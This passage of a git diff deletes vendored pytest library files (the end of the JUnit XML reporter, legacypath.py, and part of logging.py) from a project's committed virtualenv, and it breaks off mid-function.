self._opentestcase(report) - if report.failed: - reporter.append_collect_error(report) - else: - reporter.append_collect_skipped(report) - - def pytest_internalerror(self, excrepr: ExceptionRepr) -> None: - reporter = self.node_reporter("internal") - reporter.attrs.update(classname="pytest", name="internal") - reporter._add_simple("error", "internal error", str(excrepr)) - - def pytest_sessionstart(self) -> None: - self.suite_start_time = timing.time() - - def pytest_sessionfinish(self) -> None: - dirname = os.path.dirname(os.path.abspath(self.logfile)) - # exist_ok avoids filesystem race conditions between checking path existence and requesting creation - os.makedirs(dirname, exist_ok=True) - - with open(self.logfile, "w", encoding="utf-8") as logfile: - suite_stop_time = timing.time() - suite_time_delta = suite_stop_time - self.suite_start_time - - numtests = ( - self.stats["passed"] - + self.stats["failure"] - + self.stats["skipped"] - + self.stats["error"] - - self.cnt_double_fail_tests - ) - logfile.write('') - - suite_node = ET.Element( - "testsuite", - name=self.suite_name, - errors=str(self.stats["error"]), - failures=str(self.stats["failure"]), - skipped=str(self.stats["skipped"]), - tests=str(numtests), - time=f"{suite_time_delta:.3f}", - timestamp=datetime.fromtimestamp(self.suite_start_time, timezone.utc) - .astimezone() - .isoformat(), - hostname=platform.node(), - ) - global_properties = self._get_global_properties_node() - if global_properties is not None: - suite_node.append(global_properties) - for node_reporter in self.node_reporters_ordered: - suite_node.append(node_reporter.to_xml()) - testsuites = ET.Element("testsuites") - testsuites.append(suite_node) - logfile.write(ET.tostring(testsuites, encoding="unicode")) - - def pytest_terminal_summary(self, terminalreporter: TerminalReporter) -> None: - terminalreporter.write_sep("-", f"generated xml file: {self.logfile}") - - def add_global_property(self, name: str, value: object) -> None: - __tracebackhide__ = True - _check_record_param_type("name", name) - self.global_properties.append((name, bin_xml_escape(value))) - - def _get_global_properties_node(self) -> ET.Element | None: - """Return a Junit node containing custom properties, if any.""" - if self.global_properties: - properties = ET.Element("properties") - for name, value in self.global_properties: - properties.append(ET.Element("property", name=name, value=value)) - return properties - return None diff --git a/backend/venv/Lib/site-packages/_pytest/legacypath.py b/backend/venv/Lib/site-packages/_pytest/legacypath.py deleted file mode 100644 index 61476d68..00000000 --- a/backend/venv/Lib/site-packages/_pytest/legacypath.py +++ /dev/null @@ -1,473 +0,0 @@ -# mypy: allow-untyped-defs -"""Add backward compatibility support for the legacy py path type.""" - -from __future__ import annotations - -import dataclasses -from pathlib import Path -import shlex -import subprocess -from typing import Final -from typing import final -from typing import TYPE_CHECKING - -from iniconfig import SectionWrapper - -from _pytest.cacheprovider import Cache -from _pytest.compat import LEGACY_PATH -from _pytest.compat import legacy_path -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.pytester import HookRecorder -from _pytest.pytester import Pytester -from _pytest.pytester import RunResult -from _pytest.terminal import TerminalReporter -from _pytest.tmpdir import TempPathFactory - - -if TYPE_CHECKING: - import pexpect - - -@final -class Testdir: - """ - Similar to :class:`Pytester`, but this class works with legacy legacy_path objects instead. - - All methods just forward to an internal :class:`Pytester` instance, converting results - to `legacy_path` objects as necessary. - """ - - __test__ = False - - CLOSE_STDIN: Final = Pytester.CLOSE_STDIN - TimeoutExpired: Final = Pytester.TimeoutExpired - - def __init__(self, pytester: Pytester, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._pytester = pytester - - @property - def tmpdir(self) -> LEGACY_PATH: - """Temporary directory where tests are executed.""" - return legacy_path(self._pytester.path) - - @property - def test_tmproot(self) -> LEGACY_PATH: - return legacy_path(self._pytester._test_tmproot) - - @property - def request(self): - return self._pytester._request - - @property - def plugins(self): - return self._pytester.plugins - - @plugins.setter - def plugins(self, plugins): - self._pytester.plugins = plugins - - @property - def monkeypatch(self) -> MonkeyPatch: - return self._pytester._monkeypatch - - def make_hook_recorder(self, pluginmanager) -> HookRecorder: - """See :meth:`Pytester.make_hook_recorder`.""" - return self._pytester.make_hook_recorder(pluginmanager) - - def chdir(self) -> None: - """See :meth:`Pytester.chdir`.""" - return self._pytester.chdir() - - def finalize(self) -> None: - return self._pytester._finalize() - - def makefile(self, ext, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.makefile`.""" - if ext and not ext.startswith("."): - # pytester.makefile is going to throw a ValueError in a way that - # testdir.makefile did not, because - # pathlib.Path is stricter suffixes than py.path - # This ext arguments is likely user error, but since testdir has - # allowed this, we will prepend "." as a workaround to avoid breaking - # testdir usage that worked before - ext = "." + ext - return legacy_path(self._pytester.makefile(ext, *args, **kwargs)) - - def makeconftest(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makeconftest`.""" - return legacy_path(self._pytester.makeconftest(source)) - - def makeini(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makeini`.""" - return legacy_path(self._pytester.makeini(source)) - - def getinicfg(self, source: str) -> SectionWrapper: - """See :meth:`Pytester.getinicfg`.""" - return self._pytester.getinicfg(source) - - def makepyprojecttoml(self, source) -> LEGACY_PATH: - """See :meth:`Pytester.makepyprojecttoml`.""" - return legacy_path(self._pytester.makepyprojecttoml(source)) - - def makepyfile(self, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.makepyfile`.""" - return legacy_path(self._pytester.makepyfile(*args, **kwargs)) - - def maketxtfile(self, *args, **kwargs) -> LEGACY_PATH: - """See :meth:`Pytester.maketxtfile`.""" - return legacy_path(self._pytester.maketxtfile(*args, **kwargs)) - - def syspathinsert(self, path=None) -> None: - """See :meth:`Pytester.syspathinsert`.""" - return self._pytester.syspathinsert(path) - - def mkdir(self, name) -> LEGACY_PATH: - """See :meth:`Pytester.mkdir`.""" - return legacy_path(self._pytester.mkdir(name)) - - def mkpydir(self, name) -> LEGACY_PATH: - """See :meth:`Pytester.mkpydir`.""" - return legacy_path(self._pytester.mkpydir(name)) - - def copy_example(self, name=None) -> LEGACY_PATH: - """See :meth:`Pytester.copy_example`.""" - return legacy_path(self._pytester.copy_example(name)) - - def getnode(self, config: Config, arg) -> Item | Collector | None: - """See :meth:`Pytester.getnode`.""" - return self._pytester.getnode(config, arg) - - def getpathnode(self, path): - """See :meth:`Pytester.getpathnode`.""" - return self._pytester.getpathnode(path) - - def genitems(self, colitems: list[Item | Collector]) -> list[Item]: - """See :meth:`Pytester.genitems`.""" - return self._pytester.genitems(colitems) - - def runitem(self, source): - """See :meth:`Pytester.runitem`.""" - return self._pytester.runitem(source) - - def inline_runsource(self, source, *cmdlineargs): - """See :meth:`Pytester.inline_runsource`.""" - return self._pytester.inline_runsource(source, *cmdlineargs) - - def inline_genitems(self, *args): - """See :meth:`Pytester.inline_genitems`.""" - return self._pytester.inline_genitems(*args) - - def inline_run(self, *args, plugins=(), no_reraise_ctrlc: bool = False): - """See :meth:`Pytester.inline_run`.""" - return self._pytester.inline_run( - *args, plugins=plugins, no_reraise_ctrlc=no_reraise_ctrlc - ) - - def runpytest_inprocess(self, *args, **kwargs) -> RunResult: - """See :meth:`Pytester.runpytest_inprocess`.""" - return self._pytester.runpytest_inprocess(*args, **kwargs) - - def runpytest(self, *args, **kwargs) -> RunResult: - """See :meth:`Pytester.runpytest`.""" - return self._pytester.runpytest(*args, **kwargs) - - def parseconfig(self, *args) -> Config: - """See :meth:`Pytester.parseconfig`.""" - return self._pytester.parseconfig(*args) - - def parseconfigure(self, *args) -> Config: - """See :meth:`Pytester.parseconfigure`.""" - return self._pytester.parseconfigure(*args) - - def getitem(self, source, funcname="test_func"): - """See :meth:`Pytester.getitem`.""" - return self._pytester.getitem(source, funcname) - - def getitems(self, source): - """See :meth:`Pytester.getitems`.""" - return self._pytester.getitems(source) - - def getmodulecol(self, source, configargs=(), withinit=False): - """See :meth:`Pytester.getmodulecol`.""" - return self._pytester.getmodulecol( - source, configargs=configargs, withinit=withinit - ) - - def collect_by_name(self, modcol: Collector, name: str) -> Item | Collector | None: - """See :meth:`Pytester.collect_by_name`.""" - return self._pytester.collect_by_name(modcol, name) - - def popen( - self, - cmdargs, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - stdin=CLOSE_STDIN, - **kw, - ): - """See :meth:`Pytester.popen`.""" - return self._pytester.popen(cmdargs, stdout, stderr, stdin, **kw) - - def run(self, *cmdargs, timeout=None, stdin=CLOSE_STDIN) -> RunResult: - """See :meth:`Pytester.run`.""" - return self._pytester.run(*cmdargs, timeout=timeout, stdin=stdin) - - def runpython(self, script) -> RunResult: - """See :meth:`Pytester.runpython`.""" - return self._pytester.runpython(script) - - def runpython_c(self, command): - """See :meth:`Pytester.runpython_c`.""" - return self._pytester.runpython_c(command) - - def runpytest_subprocess(self, *args, timeout=None) -> RunResult: - """See :meth:`Pytester.runpytest_subprocess`.""" - return self._pytester.runpytest_subprocess(*args, timeout=timeout) - - def spawn_pytest(self, string: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """See :meth:`Pytester.spawn_pytest`.""" - return self._pytester.spawn_pytest(string, expect_timeout=expect_timeout) - - def spawn(self, cmd: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """See :meth:`Pytester.spawn`.""" - return self._pytester.spawn(cmd, expect_timeout=expect_timeout) - - def __repr__(self) -> str: - return f"" - - def __str__(self) -> str: - return str(self.tmpdir) - - -class LegacyTestdirPlugin: - @staticmethod - @fixture - def testdir(pytester: Pytester) -> Testdir: - """ - Identical to :fixture:`pytester`, and provides an instance whose methods return - legacy ``LEGACY_PATH`` objects instead when applicable. - - New code should avoid using :fixture:`testdir` in favor of :fixture:`pytester`. - """ - return Testdir(pytester, _ispytest=True) - - -@final -@dataclasses.dataclass -class TempdirFactory: - """Backward compatibility wrapper that implements ``py.path.local`` - for :class:`TempPathFactory`. - - .. note:: - These days, it is preferred to use ``tmp_path_factory``. - - :ref:`About the tmpdir and tmpdir_factory fixtures`. - - """ - - _tmppath_factory: TempPathFactory - - def __init__( - self, tmppath_factory: TempPathFactory, *, _ispytest: bool = False - ) -> None: - check_ispytest(_ispytest) - self._tmppath_factory = tmppath_factory - - def mktemp(self, basename: str, numbered: bool = True) -> LEGACY_PATH: - """Same as :meth:`TempPathFactory.mktemp`, but returns a ``py.path.local`` object.""" - return legacy_path(self._tmppath_factory.mktemp(basename, numbered).resolve()) - - def getbasetemp(self) -> LEGACY_PATH: - """Same as :meth:`TempPathFactory.getbasetemp`, but returns a ``py.path.local`` object.""" - return legacy_path(self._tmppath_factory.getbasetemp().resolve()) - - -class LegacyTmpdirPlugin: - @staticmethod - @fixture(scope="session") - def tmpdir_factory(request: FixtureRequest) -> TempdirFactory: - """Return a :class:`pytest.TempdirFactory` instance for the test session.""" - # Set dynamically by pytest_configure(). - return request.config._tmpdirhandler # type: ignore - - @staticmethod - @fixture - def tmpdir(tmp_path: Path) -> LEGACY_PATH: - """Return a temporary directory path object which is unique to each test - function invocation, created as a sub directory of the base temporary - directory. - - By default, a new base temporary directory is created each test session, - and old bases are removed after 3 sessions, to aid in debugging. If - ``--basetemp`` is used then it is cleared each session. See - :ref:`temporary directory location and retention`. - - The returned object is a `legacy_path`_ object. - - .. note:: - These days, it is preferred to use ``tmp_path``. - - :ref:`About the tmpdir and tmpdir_factory fixtures`. - - .. _legacy_path: https://py.readthedocs.io/en/latest/path.html - """ - return legacy_path(tmp_path) - - -def Cache_makedir(self: Cache, name: str) -> LEGACY_PATH: - """Return a directory path object with the given name. - - Same as :func:`mkdir`, but returns a legacy py path instance. - """ - return legacy_path(self.mkdir(name)) - - -def FixtureRequest_fspath(self: FixtureRequest) -> LEGACY_PATH: - """(deprecated) The file system path of the test module which collected this test.""" - return legacy_path(self.path) - - -def TerminalReporter_startdir(self: TerminalReporter) -> LEGACY_PATH: - """The directory from which pytest was invoked. - - Prefer to use ``startpath`` which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(self.startpath) - - -def Config_invocation_dir(self: Config) -> LEGACY_PATH: - """The directory from which pytest was invoked. - - Prefer to use :attr:`invocation_params.dir `, - which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(str(self.invocation_params.dir)) - - -def Config_rootdir(self: Config) -> LEGACY_PATH: - """The path to the :ref:`rootdir `. - - Prefer to use :attr:`rootpath`, which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(str(self.rootpath)) - - -def Config_inifile(self: Config) -> LEGACY_PATH | None: - """The path to the :ref:`configfile `. - - Prefer to use :attr:`inipath`, which is a :class:`pathlib.Path`. - - :type: Optional[LEGACY_PATH] - """ - return legacy_path(str(self.inipath)) if self.inipath else None - - -def Session_startdir(self: Session) -> LEGACY_PATH: - """The path from which pytest was invoked. - - Prefer to use ``startpath`` which is a :class:`pathlib.Path`. - - :type: LEGACY_PATH - """ - return legacy_path(self.startpath) - - -def Config__getini_unknown_type(self, name: str, type: str, value: str | list[str]): - if type == "pathlist": - # TODO: This assert is probably not valid in all cases. - assert self.inipath is not None - dp = self.inipath.parent - input_values = shlex.split(value) if isinstance(value, str) else value - return [legacy_path(str(dp / x)) for x in input_values] - else: - raise ValueError(f"unknown configuration type: {type}", value) - - -def Node_fspath(self: Node) -> LEGACY_PATH: - """(deprecated) returns a legacy_path copy of self.path""" - return legacy_path(self.path) - - -def Node_fspath_set(self: Node, value: LEGACY_PATH) -> None: - self.path = Path(value) - - -@hookimpl(tryfirst=True) -def pytest_load_initial_conftests(early_config: Config) -> None: - """Monkeypatch legacy path attributes in several classes, as early as possible.""" - mp = MonkeyPatch() - early_config.add_cleanup(mp.undo) - - # Add Cache.makedir(). - mp.setattr(Cache, "makedir", Cache_makedir, raising=False) - - # Add FixtureRequest.fspath property. - mp.setattr(FixtureRequest, "fspath", property(FixtureRequest_fspath), raising=False) - - # Add TerminalReporter.startdir property. - mp.setattr( - TerminalReporter, "startdir", property(TerminalReporter_startdir), raising=False - ) - - # Add Config.{invocation_dir,rootdir,inifile} properties. - mp.setattr(Config, "invocation_dir", property(Config_invocation_dir), raising=False) - mp.setattr(Config, "rootdir", property(Config_rootdir), raising=False) - mp.setattr(Config, "inifile", property(Config_inifile), raising=False) - - # Add Session.startdir property. - mp.setattr(Session, "startdir", property(Session_startdir), raising=False) - - # Add pathlist configuration type. - mp.setattr(Config, "_getini_unknown_type", Config__getini_unknown_type) - - # Add Node.fspath property. - mp.setattr(Node, "fspath", property(Node_fspath, Node_fspath_set), raising=False) - - -@hookimpl -def pytest_configure(config: Config) -> None: - """Installs the LegacyTmpdirPlugin if the ``tmpdir`` plugin is also installed.""" - if config.pluginmanager.has_plugin("tmpdir"): - mp = MonkeyPatch() - config.add_cleanup(mp.undo) - # Create TmpdirFactory and attach it to the config object. - # - # This is to comply with existing plugins which expect the handler to be - # available at pytest_configure time, but ideally should be moved entirely - # to the tmpdir_factory session fixture. - try: - tmp_path_factory = config._tmp_path_factory # type: ignore[attr-defined] - except AttributeError: - # tmpdir plugin is blocked. - pass - else: - _tmpdirhandler = TempdirFactory(tmp_path_factory, _ispytest=True) - mp.setattr(config, "_tmpdirhandler", _tmpdirhandler, raising=False) - - config.pluginmanager.register(LegacyTmpdirPlugin, "legacypath-tmpdir") - - -@hookimpl -def pytest_plugin_registered(plugin: object, manager: PytestPluginManager) -> None: - # pytester is not loaded by default and is commonly loaded from a conftest, - # so checking for it in `pytest_configure` is not enough. - is_pytester = plugin is manager.get_plugin("pytester") - if is_pytester and not manager.is_registered(LegacyTestdirPlugin): - manager.register(LegacyTestdirPlugin, "legacypath-pytester") diff --git a/backend/venv/Lib/site-packages/_pytest/logging.py b/backend/venv/Lib/site-packages/_pytest/logging.py deleted file mode 100644 index 44af8ff2..00000000 --- a/backend/venv/Lib/site-packages/_pytest/logging.py +++ /dev/null @@ -1,957 +0,0 @@ -# mypy: allow-untyped-defs -"""Access and control log capturing.""" - -from __future__ import annotations - -from contextlib import contextmanager -from contextlib import nullcontext -from datetime import datetime -from datetime import timedelta -from datetime import timezone -import io -from io import StringIO -import logging -from logging import LogRecord -import os -from pathlib import Path -import re -from types import TracebackType -from typing import AbstractSet -from typing import Dict -from typing import final -from typing import Generator -from typing import Generic -from typing import List -from typing import Literal -from typing import Mapping -from typing import TYPE_CHECKING -from typing import TypeVar - -from _pytest import nodes -from _pytest._io import TerminalWriter -from _pytest.capture import CaptureManager -from _pytest.config import _strtobool -from _pytest.config import Config -from _pytest.config import create_terminal_writer -from _pytest.config import hookimpl -from _pytest.config import UsageError -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.main import Session -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter - - -if TYPE_CHECKING: - logging_StreamHandler = logging.StreamHandler[StringIO] -else: - logging_StreamHandler = logging.StreamHandler - -DEFAULT_LOG_FORMAT = "%(levelname)-8s %(name)s:%(filename)s:%(lineno)d %(message)s" -DEFAULT_LOG_DATE_FORMAT = "%H:%M:%S" -_ANSI_ESCAPE_SEQ = re.compile(r"\x1b\[[\d;]+m") -caplog_handler_key = StashKey["LogCaptureHandler"]() -caplog_records_key = StashKey[Dict[str, List[logging.LogRecord]]]() - - -def _remove_ansi_escape_sequences(text: str) -> str: - return _ANSI_ESCAPE_SEQ.sub("", text) - - -class DatetimeFormatter(logging.Formatter): - """A logging formatter which formats record with - :func:`datetime.datetime.strftime` formatter instead of - :func:`time.strftime` in case of microseconds in format string. - """ - - def formatTime(self, record: LogRecord, datefmt: str | None = None) -> str: - if datefmt and "%f" in datefmt: - ct = self.converter(record.created) - tz = timezone(timedelta(seconds=ct.tm_gmtoff), ct.tm_zone) - # Construct `datetime.datetime` object from `struct_time` - # and msecs information from `record` - # Using int() instead of round() to avoid it exceeding 1_000_000 and causing a ValueError (#11861). - dt = datetime(*ct[0:6], microsecond=int(record.msecs * 1000), tzinfo=tz) - return dt.strftime(datefmt) - # Use `logging.Formatter` for non-microsecond formats - return super().formatTime(record, datefmt) - - -class ColoredLevelFormatter(DatetimeFormatter): - """A logging formatter which colorizes the %(levelname)..s part of the - log format passed to __init__.""" - - LOGLEVEL_COLOROPTS: Mapping[int, AbstractSet[str]] = { - logging.CRITICAL: {"red"}, - logging.ERROR: {"red", "bold"}, - logging.WARNING: {"yellow"}, - logging.WARN: {"yellow"}, - logging.INFO: {"green"}, - logging.DEBUG: {"purple"}, - logging.NOTSET: set(), - } - LEVELNAME_FMT_REGEX = re.compile(r"%\(levelname\)([+-.]?\d*(?:\.\d+)?s)") - - def __init__(self, terminalwriter: TerminalWriter, *args, **kwargs) -> None: - super().__init__(*args, **kwargs) - self._terminalwriter = terminalwriter - self._original_fmt = self._style._fmt - self._level_to_fmt_mapping: dict[int, str] = {} - - for level, color_opts in self.LOGLEVEL_COLOROPTS.items(): - self.add_color_level(level, *color_opts) - - def add_color_level(self, level: int, *color_opts: str) -> None: - """Add or update color opts for a log level. - - :param level: - Log level to apply a style to, e.g. ``logging.INFO``. - :param color_opts: - ANSI escape sequence color options. Capitalized colors indicates - background color, i.e. ``'green', 'Yellow', 'bold'`` will give bold - green text on yellow background. - - .. warning:: - This is an experimental API. - """ - assert self._fmt is not None - levelname_fmt_match = self.LEVELNAME_FMT_REGEX.search(self._fmt) - if not levelname_fmt_match: - return - levelname_fmt = levelname_fmt_match.group() - - formatted_levelname = levelname_fmt % {"levelname": logging.getLevelName(level)} - - # add ANSI escape sequences around the formatted levelname - color_kwargs = {name: True for name in color_opts} - colorized_formatted_levelname = self._terminalwriter.markup( - formatted_levelname, **color_kwargs - ) - self._level_to_fmt_mapping[level] = self.LEVELNAME_FMT_REGEX.sub( - colorized_formatted_levelname, self._fmt - ) - - def format(self, record: logging.LogRecord) -> str: - fmt = self._level_to_fmt_mapping.get(record.levelno, self._original_fmt) - self._style._fmt = fmt - return super().format(record) - - -class PercentStyleMultiline(logging.PercentStyle): - """A logging style with special support for multiline messages. - - If the message of a record consists of multiple lines, this style - formats the message as if each line were logged separately. - """ - - def __init__(self, fmt: str, auto_indent: int | str | bool | None) -> None: - super().__init__(fmt) - self._auto_indent = self._get_auto_indent(auto_indent) - - @staticmethod - def _get_auto_indent(auto_indent_option: int | str | bool | None) -> int: - """Determine the current auto indentation setting. - - Specify auto indent behavior (on/off/fixed) by passing in - extra={"auto_indent": [value]} to the call to logging.log() or - using a --log-auto-indent [value] command line or the - log_auto_indent [value] config option. - - Default behavior is auto-indent off. - - Using the string "True" or "on" or the boolean True as the value - turns auto indent on, using the string "False" or "off" or the - boolean False or the int 0 turns it off, and specifying a - positive integer fixes the indentation position to the value - specified. - - Any other values for the option are invalid, and will silently be - converted to the default. - - :param None|bool|int|str auto_indent_option: - User specified option for indentation from command line, config - or extra kwarg. Accepts int, bool or str. str option accepts the - same range of values as boolean config options, as well as - positive integers represented in str form. - - :returns: - Indentation value, which can be - -1 (automatically determine indentation) or - 0 (auto-indent turned off) or - >0 (explicitly set indentation position). - """ - if auto_indent_option is None: - return 0 - elif isinstance(auto_indent_option, bool): - if auto_indent_option: - return -1 - else: - return 0 - elif isinstance(auto_indent_option, int): - return int(auto_indent_option) - elif isinstance(auto_indent_option, str): - try: - return int(auto_indent_option) - except ValueError: - pass - try: - if _strtobool(auto_indent_option): - return -1 - except ValueError: - return 0 - - return 0 - - def format(self, record: logging.LogRecord) -> str: - if "\n" in record.message: - if hasattr(record, "auto_indent"): - # Passed in from the "extra={}" kwarg on the call to logging.log(). - auto_indent = self._get_auto_indent(record.auto_indent) - else: - auto_indent = self._auto_indent - - if auto_indent: - lines = record.message.splitlines() - formatted = self._fmt % {**record.__dict__, "message": lines[0]} - - if auto_indent < 0: - indentation = _remove_ansi_escape_sequences(formatted).find( - lines[0] - ) - else: - # Optimizes logging by allowing a fixed indentation. - indentation = auto_indent - lines[0] = formatted - return ("\n" + " " * indentation).join(lines) - return self._fmt % record.__dict__ - - -def get_option_ini(config: Config, *names: str): - for name in names: - ret = config.getoption(name) # 'default' arg won't work as expected - if ret is None: - ret = config.getini(name) - if ret: - return ret - - -def pytest_addoption(parser: Parser) -> None: - """Add options to control log capturing.""" - group = parser.getgroup("logging") - - def add_option_ini(option, dest, default=None, type=None, **kwargs): - parser.addini( - dest, default=default, type=type, help="Default value for " + option - ) - group.addoption(option, dest=dest, **kwargs) - - add_option_ini( - "--log-level", - dest="log_level", - default=None, - metavar="LEVEL", - help=( - "Level of messages to catch/display." - " Not set by default, so it depends on the root/parent log handler's" - ' effective level, where it is "WARNING" by default.' - ), - ) - add_option_ini( - "--log-format", - dest="log_format", - default=DEFAULT_LOG_FORMAT, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-date-format", - dest="log_date_format", - default=DEFAULT_LOG_DATE_FORMAT, - help="Log date format used by the logging module", - ) - parser.addini( - "log_cli", - default=False, - type="bool", - help='Enable log display during test run (also known as "live logging")', - ) - add_option_ini( - "--log-cli-level", dest="log_cli_level", default=None, help="CLI logging level" - ) - add_option_ini( - "--log-cli-format", - dest="log_cli_format", - default=None, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-cli-date-format", - dest="log_cli_date_format", - default=None, - help="Log date format used by the logging module", - ) - add_option_ini( - "--log-file", - dest="log_file", - default=None, - help="Path to a file when logging will be written to", - ) - add_option_ini( - "--log-file-mode", - dest="log_file_mode", - default="w", - choices=["w", "a"], - help="Log file open mode", - ) - add_option_ini( - "--log-file-level", - dest="log_file_level", - default=None, - help="Log file logging level", - ) - add_option_ini( - "--log-file-format", - dest="log_file_format", - default=None, - help="Log format used by the logging module", - ) - add_option_ini( - "--log-file-date-format", - dest="log_file_date_format", - default=None, - help="Log date format used by the logging module", - ) - add_option_ini( - "--log-auto-indent", - dest="log_auto_indent", - default=None, - help="Auto-indent multiline messages passed to the logging module. Accepts true|on, false|off or an integer.", - ) - group.addoption( - "--log-disable", - action="append", - default=[], - dest="logger_disable", - help="Disable a logger by name. Can be passed multiple times.", - ) - - -_HandlerType = TypeVar("_HandlerType", bound=logging.Handler) - - -# Not using @contextmanager for performance reasons. -class catching_logs(Generic[_HandlerType]): - """Context manager that prepares the whole logging machinery properly.""" - - __slots__ = ("handler", "level", "orig_level") - - def __init__(self, handler: _HandlerType, level: int | None = None) -> None: - self.handler = handler - self.level = level - - def __enter__(self) -> _HandlerType: - root_logger = logging.getLogger() - if self.level is not None: - self.handler.setLevel(self.level) - root_logger.addHandler(self.handler) - if self.level is not None: - self.orig_level = root_logger.level - root_logger.setLevel(min(self.orig_level, self.level)) - return self.handler - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - root_logger = logging.getLogger() - if self.level is not None: - root_logger.setLevel(self.orig_level) - root_logger.removeHandler(self.handler) - - -class LogCaptureHandler(logging_StreamHandler): - """A logging handler that stores log records and the log text.""" - - def __init__(self) -> None: - """Create a new log handler.""" - super().__init__(StringIO()) - self.records: list[logging.LogRecord] = [] - - def emit(self, record: logging.LogRecord) -> None: - """Keep the log records in a list in addition to the log text.""" - self.records.append(record) - super().emit(record) - - def reset(self) -> None: - self.records = [] - self.stream = StringIO() - - def clear(self) -> None: - self.records.clear() - self.stream = StringIO() - - def handleError(self, record: logging.LogRecord) -> None: - if logging.raiseExceptions: - # Fail the test if the log message is bad (emit failed). - # The default behavior of logging is to print "Logging error" - # to stderr with the call stack and some extra details. - # pytest wants to make such mistakes visible during testing. - raise # noqa: PLE0704 - - -@final -class LogCaptureFixture: - """Provides access and control of log capturing.""" - - def __init__(self, item: nodes.Node, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._item = item - self._initial_handler_level: int | None = None - # Dict of log name -> log level. - self._initial_logger_levels: dict[str | None, int] = {} - self._initial_disabled_logging_level: int | None = None - - def _finalize(self) -> None: - """Finalize the fixture. - - This restores the log levels and the disabled logging levels changed by :meth:`set_level`. - """ - # Restore log levels. - if self._initial_handler_level is not None: - self.handler.setLevel(self._initial_handler_level) - for logger_name, level in self._initial_logger_levels.items(): - logger = logging.getLogger(logger_name) - logger.setLevel(level) - # Disable logging at the original disabled logging level. - if self._initial_disabled_logging_level is not None: - logging.disable(self._initial_disabled_logging_level) - self._initial_disabled_logging_level = None - - @property - def handler(self) -> LogCaptureHandler: - """Get the logging handler used by the fixture.""" - return self._item.stash[caplog_handler_key] - - def get_records( - self, when: Literal["setup", "call", "teardown"] - ) -> list[logging.LogRecord]: - """Get the logging records for one of the possible test phases. - - :param when: - Which test phase to obtain the records from. - Valid values are: "setup", "call" and "teardown". - - :returns: The list of captured records at the given stage. - - .. versionadded:: 3.4 - """ - return self._item.stash[caplog_records_key].get(when, []) - - @property - def text(self) -> str: - """The formatted log text.""" - return _remove_ansi_escape_sequences(self.handler.stream.getvalue()) - - @property - def records(self) -> list[logging.LogRecord]: - """The list of log records.""" - return self.handler.records - - @property - def record_tuples(self) -> list[tuple[str, int, str]]: - """A list of a stripped down version of log records intended - for use in assertion comparison. - - The format of the tuple is: - - (logger_name, log_level, message) - """ - return [(r.name, r.levelno, r.getMessage()) for r in self.records] - - @property - def messages(self) -> list[str]: - """A list of format-interpolated log messages. - - Unlike 'records', which contains the format string and parameters for - interpolation, log messages in this list are all interpolated. - - Unlike 'text', which contains the output from the handler, log - messages in this list are unadorned with levels, timestamps, etc, - making exact comparisons more reliable. - - Note that traceback or stack info (from :func:`logging.exception` or - the `exc_info` or `stack_info` arguments to the logging functions) is - not included, as this is added by the formatter in the handler. - - .. versionadded:: 3.7 - """ - return [r.getMessage() for r in self.records] - - def clear(self) -> None: - """Reset the list of log records and the captured log text.""" - self.handler.clear() - - def _force_enable_logging( - self, level: int | str, logger_obj: logging.Logger - ) -> int: - """Enable the desired logging level if the global level was disabled via ``logging.disabled``. - - Only enables logging levels greater than or equal to the requested ``level``. - - Does nothing if the desired ``level`` wasn't disabled. - - :param level: - The logger level caplog should capture. - All logging is enabled if a non-standard logging level string is supplied. - Valid level strings are in :data:`logging._nameToLevel`. - :param logger_obj: The logger object to check. - - :return: The original disabled logging level. - """ - original_disable_level: int = logger_obj.manager.disable - - if isinstance(level, str): - # Try to translate the level string to an int for `logging.disable()` - level = logging.getLevelName(level) - - if not isinstance(level, int): - # The level provided was not valid, so just un-disable all logging. - logging.disable(logging.NOTSET) - elif not logger_obj.isEnabledFor(level): - # Each level is `10` away from other levels. - # https://docs.python.org/3/library/logging.html#logging-levels - disable_level = max(level - 10, logging.NOTSET) - logging.disable(disable_level) - - return original_disable_level - - def set_level(self, level: int | str, logger: str | None = None) -> None: - """Set the threshold level of a logger for the duration of a test. - - Logging messages which are less severe than this level will not be captured. - - .. versionchanged:: 3.4 - The levels of the loggers changed by this function will be - restored to their initial values at the end of the test. - - Will enable the requested logging level if it was disabled via :func:`logging.disable`. - - :param level: The level. - :param logger: The logger to update. If not given, the root logger. - """ - logger_obj = logging.getLogger(logger) - # Save the original log-level to restore it during teardown. - self._initial_logger_levels.setdefault(logger, logger_obj.level) - logger_obj.setLevel(level) - if self._initial_handler_level is None: - self._initial_handler_level = self.handler.level - self.handler.setLevel(level) - initial_disabled_logging_level = self._force_enable_logging(level, logger_obj) - if self._initial_disabled_logging_level is None: - self._initial_disabled_logging_level = initial_disabled_logging_level - - @contextmanager - def at_level( - self, level: int | str, logger: str | None = None - ) -> Generator[None, None, None]: - """Context manager that sets the level for capturing of logs. After - the end of the 'with' statement the level is restored to its original - value. - - Will enable the requested logging level if it was disabled via :func:`logging.disable`. - - :param level: The level. - :param logger: The logger to update. If not given, the root logger. - """ - logger_obj = logging.getLogger(logger) - orig_level = logger_obj.level - logger_obj.setLevel(level) - handler_orig_level = self.handler.level - 